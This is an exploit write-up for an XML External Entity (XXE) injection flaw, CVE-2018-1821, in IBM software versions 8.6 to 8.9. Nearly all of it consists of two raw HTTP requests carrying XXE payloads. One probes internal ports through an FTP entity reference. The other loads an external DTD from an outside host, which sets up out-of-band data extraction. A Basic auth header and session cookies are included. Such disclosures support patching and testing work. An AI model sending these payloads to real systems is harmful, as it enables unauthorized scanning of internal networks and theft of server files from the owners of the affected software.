# Exploit Title: [XML External Entity Injection (XXE)]
# Date: [2018-12-18]
# Exploit Author: [Mohamed M.Fouad - From SecureMisr Company]
# Vendor Homepage: [https://www-01.ibm.com/support/docview.wss?uid=ibm10744149]
# Version: [v8.6 - v8.7 - v8.8 - v8.9] (REQUIRED)
# Tested on: [Windows 10]
# CVE : [CVE-2018-1821]

POC#1: Port Scanning:
======================
POST /res/api/v1/ruleapps?csrf_token=kgwGZpsLIpCrCuS3s2mLS4%2BuXKM%3D HTTP/1.1
Host: 172.25.28.35:9443
Connection: close
Content-Length: 83
Origin: https://172.25.28.35:9443
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Content-Type: application/xml
Accept: */*
Referer: https://172.25.28.35:9443/res/protected/rest.jsf
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=0000EKq5uAZFEICNv26D32qeVid:1c4i4k9om;  

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "ftp://127.0.0.1:21">



POC#2: Using External DTD File:
======================================
POST /rest/bpm/monitor/events HTTP/1.1
Host: 172.25.28.41:9445
Connection: close
Cache-Control: max-age=0
Authorization: Basic Ym1hZG1pbjpibWFkbWlu
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: text/xml
SOAPAction: "CBE_FOR_EACH_TRANSACTION_REQUESTI"
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=00002W7K2hStpCQu03vef0J3Lyt:1cd2vk5q4; com.ibm.wbimonitor.UserName=bmadmin; MUMLogoutURL=https://172.25.28.41:9445/mum/logout;  
Content-Length: 99

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://172.17.85.67:5555/mydtd.dtd">